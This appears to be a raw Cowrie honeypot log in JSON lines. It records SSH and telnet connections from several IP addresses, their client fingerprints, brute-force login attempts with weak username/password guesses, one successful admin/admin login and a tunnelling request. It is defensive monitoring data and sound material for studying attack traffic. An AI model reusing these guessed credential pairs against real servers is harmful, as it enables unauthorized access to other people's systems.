{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57160,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b2b0e7f5de6","protocol":"ssh","message":"New connection: 103.15.226.202:57160 (10.17.0.5:22) [session: 8b2b0e7f5de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:32.397547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:32.402460Z","src_ip":"103.15.226.202","session":"8b2b0e7f5de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:32.644588Z","src_ip":"103.15.226.202","session":"8b2b0e7f5de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:32.887357Z","src_ip":"87.106.29.151","session":"dd16eb49c0e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buzhidao","message":"login attempt [root/buzhidao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:33.375614Z","src_ip":"103.15.226.202","session":"8b2b0e7f5de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:34.620937Z","src_ip":"103.15.226.202","session":"8b2b0e7f5de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59022,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b5a7cdae39f","protocol":"ssh","message":"New connection: 2.57.122.208:59022 (159.203.135.109:22) [session: 9b5a7cdae39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:19.026356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:19.062390Z","src_ip":"2.57.122.208","session":"9b5a7cdae39f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:19.339392Z","src_ip":"2.57.122.208","session":"9b5a7cdae39f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:20.035520Z","src_ip":"2.57.122.208","session":"9b5a7cdae39f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:21.227004Z","src_ip":"2.57.122.208","session":"9b5a7cdae39f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":38350,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e7777c7b844","protocol":"ssh","message":"New connection: 87.106.29.151:38350 (10.17.0.5:22) [session: 0e7777c7b844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:22.987235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:22.991561Z","src_ip":"87.106.29.151","session":"0e7777c7b844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:23.092468Z","src_ip":"87.106.29.151","session":"0e7777c7b844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"999","message":"login attempt [ubuntu/999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:23.497542Z","src_ip":"87.106.29.151","session":"0e7777c7b844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:24.594219Z","src_ip":"87.106.29.151","session":"0e7777c7b844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":33032,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6a865770eb1","protocol":"ssh","message":"New connection: 20.82.144.240:33032 (159.203.135.109:22) [session: c6a865770eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:30.159440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:30.169734Z","src_ip":"20.82.144.240","session":"c6a865770eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:30.237503Z","src_ip":"20.82.144.240","session":"c6a865770eb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":53934,"dst_ip":"10.17.0.5","dst_port":22,"session":"207ffea18b35","protocol":"ssh","message":"New connection: 138.124.158.150:53934 (10.17.0.5:22) [session: 207ffea18b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:30.357151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:30.363660Z","src_ip":"138.124.158.150","session":"207ffea18b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwer123$","message":"login attempt [ubuntu/Qwer123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:30.537598Z","src_ip":"20.82.144.240","session":"c6a865770eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:30.542356Z","src_ip":"138.124.158.150","session":"207ffea18b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian@123","message":"login attempt [debian/debian@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:31.275064Z","src_ip":"138.124.158.150","session":"207ffea18b35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:31.607599Z","src_ip":"20.82.144.240","session":"c6a865770eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:54:32.452624Z","src_ip":"138.124.158.150","session":"207ffea18b35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":44666,"dst_ip":"10.17.0.5","dst_port":22,"session":"814693f89c50","protocol":"ssh","message":"New connection: 87.106.29.151:44666 (10.17.0.5:22) [session: 814693f89c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:11.533673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:11.538229Z","src_ip":"87.106.29.151","session":"814693f89c50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:11.635634Z","src_ip":"87.106.29.151","session":"814693f89c50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@12345","message":"login attempt [root/server@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:12.042505Z","src_ip":"87.106.29.151","session":"814693f89c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:13.139142Z","src_ip":"87.106.29.151","session":"814693f89c50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":50010,"dst_ip":"159.203.135.109","dst_port":22,"session":"98c1ee8657da","protocol":"ssh","message":"New connection: 20.82.144.240:50010 (159.203.135.109:22) [session: 98c1ee8657da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:28.019222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:28.025451Z","src_ip":"20.82.144.240","session":"98c1ee8657da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:28.092828Z","src_ip":"20.82.144.240","session":"98c1ee8657da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@555","message":"login attempt [root/admin@555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:28.394238Z","src_ip":"20.82.144.240","session":"98c1ee8657da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.54.17.38","src_port":53186,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3dffb4a7f13","protocol":"telnet","message":"New connection: 188.54.17.38:53186 (10.17.0.5:23) [session: f3dffb4a7f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:28.546457Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:29.465454Z","src_ip":"20.82.144.240","session":"98c1ee8657da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.447905540466309,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:41.994203Z","src_ip":"188.54.17.38","session":"f3dffb4a7f13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6026,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4286a93b839","protocol":"ssh","message":"New connection: 87.251.64.176:6026 (10.17.0.5:22) [session: b4286a93b839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:43.789666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:43.793946Z","src_ip":"87.251.64.176","session":"b4286a93b839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:43.891918Z","src_ip":"87.251.64.176","session":"b4286a93b839","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:44.180902Z","src_ip":"87.251.64.176","session":"b4286a93b839","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:44.279913Z","session":"b4286a93b839","protocol":"ssh"}
